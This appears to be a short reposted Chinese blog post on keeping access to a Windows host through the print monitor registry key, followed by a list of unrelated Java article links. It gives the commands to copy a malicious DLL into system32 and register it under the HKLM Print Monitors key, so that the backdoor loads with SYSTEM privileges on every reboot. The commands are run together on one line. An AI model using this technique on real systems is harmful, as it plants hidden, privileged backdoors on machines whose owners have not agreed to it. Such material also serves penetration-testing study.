修改注册表的monitor键值进行权限维持
本文共 217 字，大约阅读时间需要 1 分钟。
文章目录
操作
需要管理员权限，将恶意的dll文件上传到system32文件夹下：
copy test.dll c:\windows\system32reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ
效果
当主机重启的时候会触发后门，且后门以system权限启动。
转载地址：http://cqraf.baihongyu.com/
你可能感兴趣的文章
Java集合详解4：一文读懂HashMap和HashTable的区别以及常见面试题
查看>>
Java集合详解5：深入理解LinkedHashMap和LRU缓存
查看>>
Java集合详解6：这次，从头到尾带你解读Java中的红黑树
查看>>
Java集合详解7：一文搞清楚HashSet，TreeSet与LinkedHashSet的异同
查看>>
Java集合详解8：Java集合类细节精讲，细节决定成败
查看>>
Java并发指南1：并发基础与Java多线程
查看>>
Java并发指南2：深入理解Java内存模型JMM
查看>>
Java并发指南3：并发三大问题与volatile关键字，CAS操作
查看>>
Java并发指南4：Java中的锁 Lock和synchronized
查看>>
Java并发指南5：JMM中的final关键字解析
查看>>
Java并发指南6：Java内存模型JMM总结
查看>>
Java并发指南7：JUC的核心类AQS详解
查看>>
Java并发指南8：AQS中的公平锁与非公平锁，Condtion
查看>>
Java网络编程和NIO详解6：Linux epoll实现原理详解
查看>>
Java网络编程和NIO详解7：浅谈 Linux 中NIO Selector 的实现原理
查看>>
Java网络编程与NIO详解8：浅析mmap和Direct Buffer
查看>>
Java网络编程与NIO详解10：深度解读Tomcat中的NIO模型
查看>>
Java网络编程与NIO详解11：Tomcat中的Connector源码分析（NIO）
查看>>
深入理解JVM虚拟机1：JVM内存的结构与消失的永久代
查看>>
深入理解JVM虚拟机3：垃圾回收器详解
查看>>